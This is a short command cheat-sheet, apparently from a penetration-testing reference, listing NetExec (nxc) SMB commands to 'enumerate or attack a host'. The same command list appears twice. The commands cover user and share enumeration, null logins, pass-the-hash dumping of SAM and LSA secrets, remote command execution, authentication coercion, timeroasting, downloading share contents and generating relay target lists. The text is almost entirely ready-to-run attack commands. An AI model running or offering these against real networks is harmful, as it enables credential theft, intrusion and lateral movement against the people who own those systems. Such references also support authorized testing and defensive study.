Nxc

nxc smb $IP -u '$USER' -p '$PASSWORD' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol nxc smb $IP -u 'a' -p '' nxc smb $IP -u $USER -H $HASH --local-auth --sam --lsa nxc smb $IP -u $USER -k --use-kcache --shares nxc smb $IP -u '$USER' -p '$PASSWORD' -X 'whoami' nxc smb $IP -u $USER -p $PASSWORD -M coerce_plus nxc smb $IP -M timeroast nxc smb $IP -u $USER -p $PASSWORD -M spider_plus -o EXCLUDE_DIR='ADMIN$,C$,IPC$' READ_ONLY=false DOWNLOAD=true nxc smb smb_hosts.txt --gen-relay-list relay_targets.txt

Enumerate or attack a host with NetExec, by protocol.

Command:

nxc smb $IP -u '$USER' -p '$PASSWORD' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol
nxc smb $IP -u 'a' -p ''
nxc smb $IP -u $USER -H $HASH --local-auth --sam --lsa
nxc smb $IP -u $USER -k --use-kcache --shares
nxc smb $IP -u '$USER' -p '$PASSWORD' -X 'whoami'
nxc smb $IP -u $USER -p $PASSWORD -M coerce_plus
nxc smb $IP -M timeroast
nxc smb $IP -u $USER -p $PASSWORD -M spider_plus -o EXCLUDE_DIR='ADMIN$,C$,IPC$' READ_ONLY=false DOWNLOAD=true
nxc smb smb_hosts.txt --gen-relay-list relay_targets.txt

References:

Related commands